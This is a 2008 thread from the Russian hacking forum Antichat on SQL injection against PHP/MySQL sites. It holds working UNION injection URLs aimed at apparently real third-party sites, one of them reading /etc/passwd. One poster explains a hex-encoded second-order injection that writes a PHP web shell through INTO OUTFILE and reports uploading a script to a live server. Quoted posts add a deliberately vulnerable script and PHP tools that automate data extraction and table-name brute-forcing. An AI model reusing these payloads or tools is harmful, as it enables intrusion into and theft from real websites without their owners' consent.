Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

07.04.2008, 17:22
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме: 5939734
Репутация:
1917
|
|
Это просто один из вариантов, во многих случаях все гораздо сложнее для определения, имхо кроме того что читать статьи и мануалы, надо хотябы немного головой думать.
хотя для чего в предложенном примере ; если описанное относится к связке mysql+php мне не дано понять, I-I()/Ib, или исправь или объясни
__________________
Карфаген должен быть разрушен...
Последний раз редактировалось Scipio; 07.04.2008 в 17:28..
|
|
|

07.04.2008, 19:37
|
|
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме: 2030482
Репутация:
1796
|
|
Как вам сказать. Каждый что либо делает как ему лично удобнее/приятнее/привычнее. Когда я учил пых и мускул я делал запросы так. Может быть это покажется кому то смешно но только из-за этого в статье указанны ";" после каждого запроса, я не отрицаю их ненужность, НО ЭТО МОЕ ЛИЧНОЕ. Скажем так вам вместо того чтобы цеплятся к мелочам было бы неполохо занятся чем то более полезным. Объяснил?
Кстати люди еще хочу обратить внимание на то что вместо громозкой конструкции
Код:
AES_DECRYPT(AES_ENCRYPT('строка','bla'),'bla')
можно использовать
Код:
UNHEX(HEX('строка'))
что есть гораздо удобнее
__________________
Кто я?..
|
|
|

07.04.2008, 20:04
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
I-I()/Ib
Думаю Scipio имел ввиду ,что такая конструкция как у тебя в пункте 1.4 работать не будет вот пример уязвимого параметра посмотри сам:
Найдено Fuckel
_http://www.specialradio.ru/mkz/?id=1
вот так :
_http://www.specialradio.ru/mkz/?id=1;--
Ничего не добиться
Т.е разделять что-то ; в примере Mysql не катит
Последний раз редактировалось jokester; 24.06.2009 в 16:53..
|
|
|

08.04.2008, 00:08
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме: 5939734
Репутация:
1917
|
|
Сообщение от I-I()/Ib
Как вам сказать. Каждый что либо делает как ему лично удобнее/приятнее/привычнее.
Ну да каждый выбирает для себя в соответствии с ситуацией
Сообщение от I-I()/Ib
Может быть это покажется кому то смешно но только из-за этого в статье указанны ";" после каждого запроса, я не отрицаю их ненужность, НО ЭТО МОЕ ЛИЧНОЕ
Смысл в том, что именно ";" не только не нужна, как ты говоришь, а именно приведет к ошибке, так как используется для разделения запросов, которые не поддерживаются в mysql функциях php
Сообщение от I-I()/Ib
Кстати люди еще хочу обратить внимание на то что вместо громозкой конструкции
Код:
AES_DECRYPT(AES_ENCRYPT('строка','bla'),'bla')
можно использовать
Код:
UNHEX(HEX('строка'))
что есть гораздо удобнее
Нда, привычки и невнимательность приводят к тому что человек незамечает более простых вещей, так что +
__________________
Карфаген должен быть разрушен...
|
|
|

24.04.2008, 07:15
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме: 5939734
Репутация:
1917
|
|
Небольшая фича (ну или не фича):
вот есть пример скули:
Код:
http://www.thefump.com/lyrics.php?id=-99999+union+select+1,load_file(0x2f6574632f706173737764),3,4,USER(),6,7,8,9,10,VERSION(),12,13/*
(взял из топика "sql-инекции" если не выдержал копирайтов, извиняйте)
смысл в том, что пользователь рут и как видно file_priv есть, но казалось бы шелл через into outfile залить нельзя, так как экранируются кавычки, на самом деле шелл здесь (и в подобных скулях) через into outfile залить не сложно.
К теории, есть например такой скрипт:
PHP код:
<?php
mysql_connect('localhost','root','');
mysql_select_db('intbrd');
$id=$_GET["id"];
$sql = "SELECT u_id,u__email,u__name FROM `User` where u_id=".$id;
$result = MySQL_QUERY($sql);
echo mysql_error();
while($us = MySQL_FETCH_ARRAY($result))
{echo $us['u__email'].":".$us['u__name'];echo "<br>";
$onl = MySQL_QUERY("SELECT o_uid,o_key FROM online WHERE o_uid = ".$us["u_id"]);
while($usonl = MySQL_FETCH_ARRAY($onl))
echo $usonl["o_uid"].':'.$usonl["o_key"];
}
?>
(набросал я его чисто для наглядности и примера и показываю на примере своей бд)
обратившись к скрипту:
Код:
http://localhost/erase.php?id=-2+union+select+1,2,3/*
видим
обратившись
Код:
http://localhost/erase.php?id=-2+union+select+0x27,2,3/*
(0x27- код кавычки) видим:
2:3
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:\home\localhost\www\erase.php on line 20
происходит это потому, что данные полученные виз первого запроса, вставляются во второй запрос.
Сделаем "внутренний" инъект-запрос:
Код:
-2 union select '999',111/*
захексим его и подставим в первое поле первого ("внешнего") запроса:
Код:
http://localhost/erase.php?id=-2+union+select+0x2D3220756E696F6E2073656C6563742027393939272C3131312F2A,2,3/*
результат:
т.к. данные полученные из sql-запроса не так часто слешируют/фильтруют то получается что этот "внутренний" запрос выполняется без ошибок, даже при наличии кавычек.
а если "внутренний" запрос будет:
Код:
-2 union select '<?php include "shell.php"; ?>,111 into outfile '/bla/bla/bla.php'/*
то в запросе
PHP код:
$onl = MySQL_QUERY("SELECT o_uid,o_key FROM online WHERE o_uid = ".$us["u_id"])
он выполнится без проблем даже при magic_quotes on
обратимся к первой скуле, если мы в третье поле подставим:
Код:
-1 union select 'magic_qotes is sux'/*
и выполним:
Код:
http://www.thefump.com/lyrics.php?id=-99999+union+select+1,2,0x2D3120756E696F6E2073656C65637420276D616769635F716F74657320697320737578272F2A,4,5,6,7,8,9,10,11,12,13/*
увидим безобидную надпись magic_qotes is sux
а могли бы составить и более опасный запрос с присутствием into outfile 'blabla' и он тоже бы выполнился
зы скрипт я туда конечно залил, но вот только на серваке отключены системные комманды и отключен Url file-access((
__________________
Карфаген должен быть разрушен...
|
|
|

25.04.2008, 12:25
|
|
Новичок
Регистрация: 15.02.2008
Сообщений: 3
Провел на форуме: 40874
Репутация:
10
|
|
Scipio
Смотрел скули, чтоб разобраться как это работает, и вот заинтересовала такая вещь, здесь это прокатывает во вторм поле:
http://www.tamizdat.org/article.php?id=99999+union+select+1,2,3,4,5,6,7,8, 9,10,11,12,13+from+mysql.user/*
а здесь в нескольких полях:
http://www.saworship.com/article-page.php?ID=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2,33,34,35,36,37,38,39/*
Почему так?
|
|
|

26.04.2008, 00:25
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме: 5939734
Репутация:
1917
|
|
Сообщение от Deka
Scipio
Смотрел скули, чтоб разобраться как это работает, и вот заинтересовала такая вещь, здесь это прокатывает во вторм поле:
http://www.tamizdat.org/article.php?id=99999+union+select+1,2,3,4,5,6,7,8, 9,10,11,12,13+from+mysql.user/*
а здесь в нескольких полях:
http://www.saworship.com/article-page.php?ID=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2,33,34,35,36,37,38,39/*
Почему так?
Посмотрел эти скули шелл можно залить как я описал при наличии папки на запись (в эти подробности не вдовался)
почему так? ну я привел пример гда объясняется вся поднаготная почему так, дерзай!
__________________
Карфаген должен быть разрушен...
|
|
|

11.05.2008, 11:39
|
|
Участник форума
Регистрация: 23.04.2008
Сообщений: 132
Провел на форуме: 103153
Репутация:
13
|
|
Сообщение от I-I()/Ib
7.ДОПОЛНЕНИЯ
Выдалась свободная минутка... не знаю нужно ли вообще комуто это, но вот как и обещал...
Код уязвимого скрипта
Код:
<?php
//Настройки БД
$script['mysql_server']='localhost';//Хост
$script['mysql_login']='root';//Логин
$script['mysql_password']='';//Пароль
$script['mysql_db']='test';//Имя БД
//Сам скрипт
$body="";
$body.="<html>
<head><title>Новости</title></head>
<body>
";
mysql_connect($script['mysql_server'], $script['mysql_login'], $script['mysql_password']) or die('Не могу подключиться к серверу');
mysql_select_db($script['mysql_db']) or die('Не могу подключиться к БД');
if(!empty($_GET['id']))//Вывод одной новости
{
$body.="<h3>Просмотр новости</h3> \n<br>";
$zapros="SELECT * FROM news WHERE id='".$_GET['id']."';";//Уязвимый запрос
$result=mysql_query($zapros);
echo(Mysql_error());//Вывод ошибки
$data=mysql_fetch_row($result);
//Вывод результата запроса
$body.="Заголовок: <b>".$data['3']."</b>\n";
$body.="<hr><pre>".$data['4']."</pre>\n";
$body.="<hr>Добавленно ".$data['5']." ".$data['1']." в ".$data['2']."\n<br><br>";
$body.="<a href='?'>Назад</a>";
}
else //Ну и простое отображение всех новостей(шоб понятней было где скуль)
{
$body.="<h3>Все новости</h3> \n<br>";
$zapros="SELECT * FROM news;";
$result_z=mysql_query($zapros);
$count_str=mysql_num_rows($result_z);
for($i=1;$i<=$count_str;$i++)
{
$result=@mysql_fetch_assoc($result_z);
$body.=$i.".<a href='?id=".$i."'>".$result['caption']."<a/><br>\n";
}
}
$body.="</body></html>";
echo($body);
?>
Дамп базы
Код:
CREATE TABLE `news` (
`id` int(11) NOT NULL default '0',
`date` varchar(8) NOT NULL default '',
`time` varchar(7) NOT NULL default '',
`caption` varchar(50) NOT NULL default '',
`text` text NOT NULL,
`avtor` varchar(50) NOT NULL default ''
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;
INSERT INTO `news` VALUES (1, '23/03/07', '12:30', 'Здравствуй вася :)', 'Ну что начинай хакать этот скриптег :)\r\nИ побыстрее а то малоли... :P', 'I-I()/Ib');
INSERT INTO `news` VALUES (2, '24/03/07', '11:10', 'Гы а это для разнообразия', 'А то я подумал вдруг мало будет новостей :))\r\nТолько за дизайн извиняюсь... както кривовато смотриться ну да лано...', 'I-I()/Ib');
CREATE TABLE `users` (
`login` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default ''
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;
INSERT INTO `users` VALUES ('Admin', 'PaSsWoRd');
INSERT INTO `users` VALUES ('User', '123456');
INSERT INTO `users` VALUES ('Looser', 'big_password');
Вообщем надеюсь вы поняли что надо с этим сделать...
А теперь что-то пополезнее.
Скрипт для вывода инфы через LIMIT или еще что нибудь этого рода
Код:
<?php
$set['b']='121212';//Что находится перед выводиомй инфой
$set['e']='212121';//Что находится после выводимой инфы
$set['u']='http://test/news.php?id=';//URL с узвимым параметров В КОНЦЕ(!)
$set['z']='-1 UNION SELECT CONCAT(0x313231323132,TABLE_NAME, 0x2D, COLUMN_NAME, 0x323132313231) FROM INFORMATION_SCHEMA.COLUMNS LIMIT +++counter+++,1/*';//Уязвимый параметр
$set['c']='+++counter+++';//Строка счетчика
$set['f']='0';//Начальное значение счетчика
$set['s']='500';//Конечное значение счетчика
$set['h']='test';//Хост
if(!empty($_GET['b']))$set['b']=$_GET['b'];
if(!empty($_GET['e']))$set['e']=$_GET['e'];
if(!empty($_GET['u']))$set['u']=$_GET['u'];
if(!empty($_GET['z']))$set['z']=$_GET['z'];
if(!empty($_GET['c']))$set['c']=$_GET['c'];
if(!empty($_GET['f']))$set['f']=$_GET['f'];
if(!empty($_GET['s']))$set['s']=$_GET['s'];
if(!empty($_GET['h']))$set['h']=$_GET['h'];
for($i=$set['f'];$i<=$set['s'];$i++)
{
$zapros=str_replace($set['c'],$i,$set['z']);//Изменияем счетчик в уязвимом параметре
//Создаем пакет
$header="GET ".$set['u'].urlencode($zapros)." HTTP/1.0\r\n";
$header.="Accept-Language: en-us,en;q=0.5\r\n";
$header.="Accept-Charset: utf-8,*;q=0.7\r\n";
$header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5";
$header.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
$header.="Connection: keep-alive\r\n";
$header.="Cookie: PHPSESSID=028df047751bfc9a2ee18204eb2d5595\r\n";
$header.='Cookie2: $Version=1'."\r\n";
$header.="Host: ".$set['h']."\r\n\r\n";
$dt="";
$fp=fsockopen($set['h'], 80);
fwrite($fp, $header);
while(!feof($fp)) $dt.=fread($fp, 1024);
fclose($fp);
//Вырезаем необходимую инфу
$dt=substr($dt,strpos($dt,$set['b'])+strlen($set['b']));
$dt=substr($dt,0,strpos($dt,$set['e']));
//Выводим инфу на экран
echo($dt."\r\n");
flush();
}
?>
Скрипт для брута имен столбцов и полей
Код:
<?php
$set['f']="bryt_name_table.txt";//Словарик с именами таблиц/полей
$set['t']=false;//Определять существование таблицы по наличию строки(true) или отсутствию(false)
$set['n']="Table 'test.+++name+++' doesn't exist";//Если эта строка отсутствует значит таблица есть в БД
$set['y']="Здравствуй вася :)";//Если эта строка присутствует значит таблица есть в БД
$set['u']="http://test1.ru/news?id=";//URL с узвимым параметров В КОНЦЕ(!)
$set['z']="1 union select 1,2,3,4,5,6 FROM +++name+++";//Значение уязвимого параметра
$set['c']="+++name+++";//Строка каждый раз заменяймая на текущее имя таблицы
$set['h']="test1.ru";//Хост
@set_time_limit(0);//30 секунд по дефолту нам может не хватить...
//Чтобы не париться каждый раз и не лезть в файл
if(!empty($_GET['f']))$set['f']=$_GET['f'];
if(!empty($_GET['t']))$set['t']=$_GET['t'];
if(!empty($_GET['n']))$set['n']=$_GET['n'];
if(!empty($_GET['y']))$set['y']=$_GET['y'];
if(!empty($_GET['u']))$set['u']=$_GET['u'];
if(!empty($_GET['z']))$set['z']=$_GET['z'];
if(!empty($_GET['c']))$set['c']=$_GET['c'];
if(!empty($_GET['h']))$set['h']=$_GET['h'];
$tables_names=file($set['f']);//Открываем файл
//Начинаем брутофорс
for($i=0;$i<count($tables_names);$i++)
{
//Удаляем символы перехода строки
$tables_names[$i]=str_replace("\r","",$tables_names[$i]);
$tables_names[$i]=str_replace("\n","",$tables_names[$i]);
//Изменияем строку на текущее имя таблицы
$zapros=str_replace($set['c'],$tables_names[$i],$set['z']);
$in_str=str_replace($set['c'],$tables_names[$i],$set['y']);
$ou_str=str_replace($set['c'],$tables_names[$i],$set['n']);
//Создаем пакет
$header="GET ".$set['u'].urlencode($zapros)." HTTP/1.0\r\n";
$header.="Accept-Language: en-us,en;q=0.5\r\n";
$header.="Accept-Charset: utf-8,*;q=0.7\r\n";
$header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5";
$header.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
$header.="Connection: keep-alive\r\n";
//$header.="Cookie: PHPSESSID=028df047751bfc9a2ee18204eb2d5595\r\n";
//$header.='Cookie2: $Version=1'."\r\n";
$header.="Host: ".$set['h']."\r\n\r\n";
//Оптравка/прием данных
$dt="";
$fp=fsockopen($set['h'], 80);
fwrite($fp, $header);
while(!feof($fp)) $dt.=fread($fp, 1024);
fclose($fp);
//Ну и соответственно вывод на экран.
$found=0;
if($set['t'])
{
if(substr_count($dt,$in_str)>0){echo("<font color='green'><b>".$tables_names[$i]."</b></font><script>alert('".$tables_names[$i]." - found')</script>");$found=1;}
}
if($set['t']===false)
{
if(substr_count($dt,$ou_str)===0){echo("<font color='green'><b>".$tables_names[$i]."</b></font><script>alert('".$tables_names[$i]." - found')</script>");$found=1;}
}
if($found===0)echo("<font color='red'>".$tables_names[$i]."</font>");
echo("<hr>\r\n");
flush();
}
?>
невыдаются ошибки при injection в первом скрипте , почему??? может они выключены , как включить ???
|
|
|

11.05.2008, 17:50
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме: 21768337
Репутация:
3486
|
|
Сообщение от php.ini
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Обработка ошибок и журнализация ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Директива error_reporting должна задаваться в виде битового
; поля. Его значение можно устанавливать с помощью следующих констант,
; объединенных оператором | (OR):
; E_ALL - Все предупреждения и ошибки.
; E_ERROR - Критические ошибки времени выполнения.
; E_WARNING - Предупреждения времени выполнения.
; E_PARSE - Ошибки трансляции.
; E_NOTICE - Замечания времени выполнения (это такие
; предупреждения, которые, скорее всего,
; свидетельствуют о логических ошибках в
; сценарии, - например, использовании
; неинициализированной переменной).
; E_CORE_ERROR - Критические ошибки в момент старта PHP.
; E_CORE_WARNING - Некритические предупреждения во время старта PHP.
; E_COMPILE_ERROR - Критические ошибки времени трансляции.
; E_COMPILE_WARNING - Предупреждения времени трансляции.
; E_USER_ERROR - Сгенерированные пользователем ошибки.
; E_USER_WARNING - Сгенерированные пользователем предупреждения.
; E_USER_NOTICE - Сгенерированные пользователем замечания.
; Пример:
; показывать все ошибки, за исключением замечаний
; error_reporting = E_ALL & ~E_NOTICE
; показывать только сообщения об ошибках
; error_reporting=E_COMPILE_ERROR|E_ERROR|E_CORE_ERR OR
; отображать все ошибки, предупреждения и замечания
error_reporting = E_ALL ; & ~E_NOTICE
...
|
|
|

12.05.2008, 12:27
|
|
Участник форума
Регистрация: 23.04.2008
Сообщений: 132
Провел на форуме: 103153
Репутация:
13
|
|
Всё наместе , странно . Почему могут невыводиться ошибки ....
Делаю такой запрос к первому скрипту Ж http://localhost/sait/tmp/sql.php?id=1'
-----------
Проверте скрипт и такой запрос у себя на локалхосте , мож я что нетак делаю .....
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|